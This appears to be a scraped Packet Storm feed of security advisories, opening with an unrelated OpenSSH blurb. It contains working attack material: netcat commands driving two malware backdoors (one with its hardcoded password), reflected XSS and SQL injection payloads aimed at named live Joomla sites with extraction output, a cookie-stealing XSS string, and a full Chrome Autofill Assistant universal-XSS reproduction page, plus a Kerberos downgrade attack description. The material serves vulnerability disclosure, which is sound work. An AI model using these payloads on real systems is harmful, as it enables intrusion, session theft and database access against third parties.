This is a Linux/portable port of OpenBSD's excellent OpenSSH. OpenSSH is based on the last free version of Tatu Ylonen's SSH with all patent-encumbered algorithms removed, all known security bugs fixed, new features reintroduced, and many other clean-ups.

OpenSSH 9.1p1

Backdoor.Win32.Delf.eg malware suffers from an unauthenticated remote command execution vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/de6220a8e8fcbbee9763fb10e0ca23d7.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Backdoor.Win32.Delf.egVulnerability: Unauthenticated Remote Command ExecutionDescription:  The malware listens on TCP port 7401.  Third-party adversarys who can reach infected systems can issue commands made available by the backdoor. Call "exec" plus the program name, to launch the victims browser you add URL after exec and so forth.Family: DelfType: PE32MD5: de6220a8e8fcbbee9763fb10e0ca23d7Vuln ID: MVID-2022-0647Disclosure: 10/02/2022Exploit/PoC:C:\>nc64.exe x.x.x.x 7401Warningexec calc.exe42exec https://www.malvuln.com/DOOM.exe42QUIT221 Merci d'avoir utilisΘ Under7 version 4.3, crΘe par Liquid SnakeDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.Delf.eg MVID-2022-0647 Remote Command Execution

Joomla Rentalot Plus extension version 19.05 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : extensions.joomla.org                                                      ││  Vendor   : Les Arbres Design                                                          ││  Software : Joomla Rentalot Plus 19.05                                                 ││  Vuln Type: Reflected XSS                                                              ││  Method   : GET                                                                        ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /check-viewGET parameter 'instance' is vulnerable to XSShttps://demo.lesarbresdesign.info/check-view?option=com_rentalotplus&controller=check&task=ajax_get_availability&format=raw&tmpl=component&version=detailed&datefrom=&currency=undefined&instance=byhiw"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"onuph[-] Done

Joomla Rentalot Plus 19.05 Cross Site Scripting

Backdoor.Win32.NTRC malware suffers from a hardcoded credential vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/273fd3f33279cc9c0378a49cf63d7a06.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Backdoor.Win32.NTRCVulnerability: Weak Hardcoded CredentialsFamily: NTRCType: PE32MD5: 273fd3f33279cc9c0378a49cf63d7a06Vuln ID: MVID-2022-0646Disclosure: 10/02/2022Description: The malware listens on TCP port 6767. Authentication is required, however the password "Please change me" is weak and hardcoded in cleartext at offset 0045E520. Commands get executed by sending the password delimited by a semicolon ";" E.g. Please change me;SystemInfo;. The command SendScreen dumps screenshot as .BMF file, to get the next part of the file issue SendScreenNextPart.0045E520                 dd 16                   ; Len0045E520                 db 'Please change me',0 ; Text0045E539                 align 4Exploit/PoC:C:\>nc64.exe x.x.x.x 6767SendScreenSendScreenNextPartStopPlease change me;Shutdown;Error;Can not shutdown the server. Please contact the author at borgo@bigfoot.comPlease change me;Logoff;Please change me;SystemInfo;SystemInfo;6.2;9200;Windows NT;Victim;DESKTOP-2C3IQHO;C:\WINDOWS;1;Intel;Intel PentiumPlease change me;SystemInfo2;;;;;;0;0;0;0;0;;;;9 Mb;1480.29 Mb;27 %;2687.49 Mb;1607.21 Mb;40 %;2047.88 Mb;1893.88 Mb;DPlease change me;Logoff;FolderMonitorChangedDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.NTRC MVID-2022-0646 Hardcoded Credential

Password Manager for IIS version 2.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: *XSS*# Exploit Author: *VP4TR10T*# Vendor Homepage:*http://passwordmanager.adiscon.com/en/manual/<http://passwordmanager.adiscon.com/en/manual/>*# Software Link:*http://passwordmanager.adiscon.com/<http://passwordmanager.adiscon.com/>*# Version: *Version 2.0*# Tested on: *WINDOWS*# CVE : *CVE-2022-36664*Affected URI (when trying to change user password):POST /isapi/PasswordManager.dll HTTP/1.1HTTP Payload (Affected Parameter ):ReturnURL=<script>alert(document.cookie)</script>*Cordially,*

Password Manager For IIS 2.0 Cross Site Scripting

Joomla MarvikShop ShoppingCart extension version 3.4 suffers from a suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : extensions.joomla.org                                                      ││  Vendor   : Team MarvikShop                                                            ││  Software : Joomla MarvikShop ShoppingCart 3.4                                         ││  Vuln Type: Reflected XSS                                                              ││  Method   : GET                                                                        ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /en/index.phpGET parameter 'sortdir' is vulnerable to XSShttps://wereldstenen.nl/en/index.php?option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&page=index.php&format=xml&task=showproducts&view=med&sort=latest&sortdir=descgt5po<img src=a onerror=alert(1)>vh217GET parameter 'limitstart' is vulnerable to XSShttps://wereldstenen.nl/en/index.php?option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&page=index.php&format=xml&task=showproducts&view=med&sort=latest&sortdir=desc&limitstart=0lmefx<img src=a onerror=alert(1)>fe7s7GET parameter 'limit' is vulnerable to XSShttps://wereldstenen.nl/en/index.php?option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&page=index.php&format=xml&task=showproducts&view=med&sort=latest&sortdir=desc&limitstart=0&limit=25oj1c5<img src=a onerror=alert(1)>tquly[-] Done

Joomla MarvikShop ShoppingCart 3.4 Cross Site Scripting

Joomla MarvikShop ShoppingCart extension version 3.4 suffers from a remote SQL injection vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : extensions.joomla.org                                                      ││  Vendor   : Team MarvikShop                                                            ││  Software : Joomla MarvikShop ShoppingCart 3.4                                         ││  Vuln Type: SQL Injection                                                              ││  Method   : GET                                                                        ││  Impact   : Database Access                                                            ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Typically used for remotely exploitable vulnerabilities that can lead to              ││  system compromise                                                                     ││                                                                                        ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘   Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL              CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /en/index.phpGET parameter 'sortdir' is vulnerable---Parameter: sortdir (GET)    Type: error-based    Title: MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)    Payload: option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&page=index.php&format=xml&task=showproducts&view=med&sort=latest&sortdir=desc,EXTRACTVALUE(9096,CONCAT(0x5c,0x7178787871,(SELECT (ELT(9096=9096,1))),0x7171626271))&limitstart=0&limit=25---[INFO] the back-end DBMS is MySQLweb application technology: Nginx, PHP 7.1.33back-end DBMS: MySQL >= 5.1 (MariaDB fork)[INFO] fetching current databasecurrent database: 'stenen_test'[-] Done

Joomla MarvikShop ShoppingCart 3.4 SQL Injection

Google Chrome version 103.0.5060.53 (Official Build) and Chromium version 105.0.5148.0 (Developer Build) (64-bit) suffer from a network::URLLoader::NotifyCompleted heap use-after-free vulnerability.

Google Chrome 103.0.5060.53 network::URLLoader::NotifyCompleted Heap Use-After-Free

Google Chrome version 103.0.5060.53 suffers from an Autofill Assistant universal cross site scripting vulnerability.

    Chrome: Universal XSS in Autofill AssistantVULNERABILITY DETAILSFrom the Autofill Assistant README file[1]:Autofill Assistant is an execution engine to run user journeys on websites given a set of actions. These actions include clicking on buttons or scrolling to an element. They also provide a way to interact with the user or get input to advance in the flow.This report describes a chain of issues in the implementation of the assistant that allows a malicious attacker to execute JavaScript code in the context of an arbitrary website.1. Launch Check BypassThere are several ways to launch a user journey i.e. to activate the assistant on a specific web page. From an attacker's point of view, the most interesting one is via Android intent:// URIs. To run the assistant, a web page simply needs to initiate navigation to a special URI. However, `ExternalNavigationHandler::handleWithAutofillAssistant()` is only meant to launch the journey if the navigation request comes from a web page in a subdomain of google.com i.e. a trusted source[2]. Unfortunately, if you look at the source code of `ExternalNavigationHandler::isGoogleReferrer()`[3], you'll notice that it actually only checks whether the main frame of the tab that's being navigated currently hosts a google.com page. This means the attacker can bypass the check by opening a google.com page first and then navigating it to the intent URI. This action doesn't violate the same-origin policy.```w = open(\"https://google.com/\");setTimeout(() => w.location = \"intent://...\", 1000);```Another way to bypass the check is by putting a regular https:// link somewhere on google.com to the attacker-controlled website and configuring the attacker's web server to reply with an HTTP redirect to the intent:// URI.It's not clear whether the intended (rather than actual) checks are still too coarse-grained. Can an intent link be hosted on a user-controlled page in a subdomain of google.com, for example, via Google Sites? Can a third-party Android app launch the intent directly?2. Parameter ManipulationAutofill Assistant intent URIs include the address of the target web page, as well as script parameters, which the attacker can arbitrarily modify. Some of the parameters, like `DISABLE_RPC_SIGNING`[4] or `PASSWORD_CHANGE_USERNAME`, seem to have security impact. Also, the `DETAILS_*` parameter group allows the attacker to show a partially-controlled native-looking user interface on top of websites that have associated user journeys.If, at the moment, only Google is allowed to create these URIs, could signature checking be added to prevent arbitrary manipulation of the script parameters?3. Trigger Script InjectionThe most promising parameter is called `TRIGGER_SCRIPTS_BASE64`. It lets the attacker overwrite the backend's trigger script response[5]. Trigger scripts are lightweight scripts that may launch the regular journey flow once a certain set of conditions is met on the page. In addition, they can show a basic provisional user interface.Since the trigger condition definition language is powerful enough, for example, to perform a regex match on a specific property of a specific page element, and certain trigger actions, like loading a picture from an external server, may be visible to the attacker, a custom trigger script may be used to exfiltrate data from a web page character by character.A trigger script response can be overridden for any website, not just the ones that are currently supported by Autofill Assistant. Also, a user is shown a consent dialog when they attempt to use the assistant for the first time, but trigger scripts are executed without any user interaction.4. JavaScript Injection Via Property Filter`JsFilterBuilder` translates trigger conditions defined by a script into JavaScript code, which is then executed in the context of the target web page. The builder properly encodes all of its inputs, using functions like `AddArgument`[6] and making sure it's impossible to corrupt the generated function and execute arbitrary code, with one unfortunate exception:```message PropertyFilter {  // The property to filter against.  optional string property = 1;  oneof value {    TextFilter text_filter = 2;    AutofillValueRegexp autofill_value_regexp = 3;  }}```The code that translates `PropertyFilter` simply concatenates the property name parameter, skipping the encoding[7]:```bool JsFilterBuilder::AddFilter(const SelectorProto::Filter& filter) {[...]    case SelectorProto::Filter::kProperty:      AddRegexpFilter(filter.property().text_filter(),                      filter.property().property());[...]}void JsFilterBuilder::AddRegexpFilter(const TextFilter& filter,                                      const std::string& property) {  std::string re_var = AddRegexpInstance(filter);  AddLine({\"elements = elements.filter((e) => \", re_var, \".test(e.\", property,           \"));\"});}```As a result, the attacker can run arbitrary JavaScript with a trigger script like the following:```trigger_scripts {  trigger_condition {    selector {      filters { css_selector: \"*\" }      filters {        property {          property: \"a+alert(location)\"          text_filter {            re2: \"\"          }        }      }    }  }}```which gets translated into:```elements = elements.filter((e) => v1.test(e.a + alert(location)));```[1] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/[2] https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/externalnav/ExternalNavigationDelegateImpl.java;drc=4c4e66a10a1895d8be8b8978f938eb698ff93492;l=323[3] https://source.chromium.org/chromium/chromium/src/+/main:components/external_intents/android/java/src/org/chromium/components/external_intents/ExternalNavigationHandler.java;drc=4c4e66a10a1895d8be8b8978f938eb698ff93492;l=2098[4] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/browser/script_parameters.cc;drc=4c5a895bed6c12687227f92c8d66dfb0bfb03225;l=111[5] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/browser/service.proto;drc=39e992a5452136dd9944c9c957245e3f88885e71;l=783[6] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/browser/web/js_filter_builder.cc;drc=9e3fd1a0c143cf14101c1abcb4c98345bcaf9890;l=197[7] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/browser/web/js_filter_builder.cc;drc=9e3fd1a0c143cf14101c1abcb4c98345bcaf9890;l=189VERSIONGoogle Chrome 103.0.5060.53 (Official Build)REPRODUCTION CASE```<body><h1>Click me</h1><script>NS = \".org.chromium.chrome.browser.autofill_assistant.\";TARGET_URL = \"https://google.com/\";onclick = () => {  w = open(\"https://google.com/\");  setTimeout(() => {  w.location = `intent://a/#Intent;    scheme=http;    S.browser_fallback_url=${escape(TARGET_URL)};    B${NS}ENABLED=true;    B${NS}START_IMMEDIATELY=false;    S${NS}TRIGGER_SCRIPTS_BASE64=CiQKIkIgSgMSASpKGXIXChFhK2FsZXJ0KGxvY2F0aW9uKRICCgA=;    end`.replace(/\\s/g, \"\");  }, 1000);}</script></body>```CREDIT INFORMATIONSergei Glazunov of Google Project ZeroThis bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-09-22.Please note that, according to our disclosure policy, if Project Zero discovers a variant of a previously reported Project Zero bug, technical details of the variant will be added to the existing Project Zero report (which may be already public) and the report will not receive a new deadline. For more details, see https://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html.Found by: glazunov@google.com

Google Chrome 103.0.5060.53 Autofill Assistant Universal Cross Site Scripting

The Windows KDC allows an interposing attacker to downgrade to RC4 MD4 encryption in compromising the user's TGT session key resulting in escalation of privilege.

Windows: Kerberos RC4 MD4 Encryption Downgrade EoP  
Platform: Windows 10+  
Class: Elevation of Privilege  
Security Boundary: User

Summary:  
 The KDC allows an interposing attacker to downgrade to RC4 MD4 encryption in compromising the user's TGT session key resulting in EoP.

NOTE: I tried to look if this was something which has been reported before. The fact that Kerberos can have its encryption downgraded is a well known issue, but the primary use case seems to be to get crackable data by weakening the encryption. However, I couldn't find a description of this specific attack. Also while I'm sure Kerberos armoring will prevent the attack as is, unless FAST is required I am led to understand that an attacker can downgrade to non-FAST if they're in a privileged position on the network.

Description:   
When Kerberos makes an initial request to the KDC to authenticate a user it sends an AS-REQ structure. One of the options in the AS-REQ is a list of encryption algorithms that the client supports. The KDC will accept the strongest available from the list for things like session keys.

The problem with the list is it's unprotected (without FAST) and so an attacker who interposes the connection can modify it before it goes to the KDC. This allows the attacker to downgrade the encryption used to a weaker algorithm such as RC4-HMAC which is more amenable to cracking the password due to the weak password to key generation.

However, even with downgrading to RC4-HMAC it's not an immediate exploit, the key would have to be cracked offline which for complex passwords can take a long time. For example, a computer account usually has a 120 character randomly generated password which would be effectively impossible to crack.

Through inspection it seems that you can request any Kerberos encryption algorithm supported by CRYPTDLL which implements all the Kerberos encryption engines. The one of most interest is RC4-MD4 (encryption type -128) as it has some serious security weaknesses.

1. Only 8 of the 16 key bytes are used by the encryption algorithm.  
2. The key is not blinded or otherwise hashed unlike RC4-HMAC which means the key stream is always the same for the same key.   
3. The encryption ignores the key usage value so different parts of the protocol also use the same RC4 key stream.  
4. The encryption has no cryptographic checksum applied so the cipher text can be modified if the plain text is known.  
5. Session keys, when generated, only have 40bits of randomness, the remaining 11 bytes of the key as populated with the value 0xAB.

If you can downgrade the client and KDC to use RC4-MD4 then it's catastrophic for the Kerberos authentication process. An attacker could get the KDC to use an RC4-MD4 session key for the initial TGT which only has 40 bits of entropy and be reasonably confident of brute forcing that before the associated ticket expires. They could then issue TGS requests for arbitrary service tickets for that user.

However, brute force seems overly complex. Instead if the initial AS-REQ without the pre-authentication is downgraded then it induces the client into using RC4-MD4 with its RC4-HMAC key for the encrypted timestamp. The KDC authenticates the timestamp and returns an AS-REP with the result also encrypted to the user's RC4-HMAC key but with the RC4-MD4 algorithm.

Almost the entirety of the encrypted timestamps' plain text data is known or can be guessed, which means we can determine the keystream for the user's encryption key. We can then apply that keystream to decrypt some encrypted data in the AS-REP. By luck the TGT session key is at the start of the encrypted data. We don't have enough of the keystream from the timestamp to decrypt the entire key but we only need the first 5 bytes due to the weak session key generation. We end up with an overlap between the last byte of the key and the first byte of the microseconds for the timestamp which could be anything. As long as we then observe at least one TGS-REQ from the user (which they will almost certainly do) we can use that to brute force offline the single remaining byte of the key. With the TGT session key the attacker could impersonate the user entirely.

How you interpose the Kerberos connection is myriad. Obviously local network based attacks are possible such as a \"Coffee Shop\" attack or DNS spoofing. It's possible this could also resurrect attacks such as MS15-011 on group policy as getting the TGT of the computer account would allow for the session keys for service tickets to be decrypted and by extension the sub-session keys from the AP-REQ to hijack the SMB connection.

Fixing wise, nothing should be using the RC4-MD4 encryption algorithm, it's not even clear why it's still there in CRYPTDLL. One way to mitigate the attack as described is to disable RC4 across the board, both on the KDC and the clients. If this is only disabled on clients then it might be possible to get the initial pre-authentication to use AES but only change the session key which might allow it to continue to function but I've not verified that. Even if you do that you might need to bruteforce the session key, but that's doable. 

Using PKINIT would break the initial hijacking of the AS-REQ's encrypted timestamp, but it might still be possible to downgrade the TGT's session key. At that point the only attack might be to brute force the key. However it is also possible that the encrypted data in the initial TGS-REQ could be attacked instead as the encrypted authorization data is encrypted with the same key as the authenticator.

FAST would also break the attack as described but I'm not sure if that's sufficient if you're in a privileged network position and FAST is not required.

Proof of Concept:

I've provided a PoC as a C# project. It works locally using KDC pinning to hijack a SSPI Kerberos authentication process to steal the TGT. This in itself is a potentially useful local privilege escalation but of course the real attack would be remote. You need to get and build a copy of my NtApiDotNet library to build the project (https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools).

1) Compile the C# project, put a copy of NtApiDotNet.dll in the project's directory before building.  
2) Run the POC on a domain joined machine where FAST hasn't been configured and RC4 is still enabled.  
3) The POC should complete successfully.

Expected Result:  
The downgraded encryption is rejected on the KDC and/or the client.

Observed Result:  
The KDC and client honor the encryption downgrade and the POC can request a new TGT indicated by printing the final key.

This bug is subject to a 90-day disclosure deadline. If a fix for this  
issue is made available to users before the end of the 90-day deadline,  
this bug report will become public 30 days after the fix was made  
available. Otherwise, this bug report will become public at the deadline.  
The scheduled deadline is 2022-08-31.

Related CVE Numbers: CVE-2022-33647,CVE-2022-33679.

Found by: forshaw@google.com

Packet Storm Note: PoC's were deleted from the original post at https://bugs.chromium.org/p/project-zero/issues/detail?id=2310

Source

Packet Storm